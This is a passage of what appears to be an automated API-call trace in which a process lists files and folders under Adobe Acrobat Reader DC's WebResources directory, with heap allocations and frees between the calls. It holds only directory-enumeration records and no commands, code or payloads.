returned 1 [0247.893] GetProcessHeap () returned 0xc10000 [0247.893] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0247.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0247.895] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.896] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0247.896] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0247.896] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0247.896] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0247.896] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0247.897] GetProcessHeap () returned 0xc10000 [0247.897] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0247.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.898] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.898] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0247.898] GetProcessHeap () returned 0xc10000 [0247.898] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0247.900] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.901] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdae26b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0247.901] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdae26b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdae26b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0247.903] GetProcessHeap () returned 0xc10000 [0247.903] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.903] GetProcessHeap () returned 0xc10000 [0247.903] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0247.903] GetProcessHeap () returned 0xc10000 [0247.903] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0247.903] GetProcessHeap () returned 0xc10000 [0247.903] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0247.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.905] GetProcessHeap () returned 0xc10000 [0247.905] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0247.905] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0248.090] GetProcessHeap () returned 0xc10000 [0248.091] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.092] GetProcessHeap () returned 0xc10000 [0248.092] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.092] GetProcessHeap () returned 0xc10000 [0248.092] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.094] GetProcessHeap () returned 0xc10000 [0248.094] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.094] GetProcessHeap () returned 0xc10000 [0248.094] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0248.094] GetProcessHeap () returned 0xc10000 [0248.095] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.095] GetProcessHeap () returned 0xc10000 [0248.095] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0248.096] GetProcessHeap () returned 0xc10000 [0248.096] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.096] GetProcessHeap () returned 0xc10000 [0248.096] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.097] GetProcessHeap () returned 0xc10000 [0248.097] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.097] GetProcessHeap () returned 0xc10000 [0248.097] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.099] GetProcessHeap () returned 0xc10000 [0248.099] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.099] GetProcessHeap () returned 0xc10000 [0248.099] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.100] GetProcessHeap () returned 0xc10000 [0248.100] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.100] GetProcessHeap () returned 0xc10000 [0248.100] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0248.101] GetProcessHeap () returned 0xc10000 [0248.101] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.101] GetProcessHeap () returned 0xc10000 [0248.101] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.102] GetProcessHeap () returned 0xc10000 [0248.102] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.102] GetProcessHeap () returned 0xc10000 [0248.102] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.103] GetProcessHeap () returned 0xc10000 [0248.103] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.103] GetProcessHeap () returned 0xc10000 [0248.103] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0248.104] GetProcessHeap () returned 0xc10000 [0248.104] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.105] GetProcessHeap () returned 0xc10000 [0248.105] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0248.105] GetProcessHeap () returned 0xc10000 [0248.105] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.105] GetProcessHeap () returned 0xc10000 [0248.105] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0248.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0248.106] GetProcessHeap () returned 0xc10000 [0248.106] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0248.106] GetProcessHeap () returned 0xc10000 [0248.106] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.106] GetProcessHeap () returned 0xc10000 [0248.107] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0248.110] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.110] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefedf550, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b920, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-selector.js", cAlternateFileName="CONVER~2.JS")) returned 1 [0248.110] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, 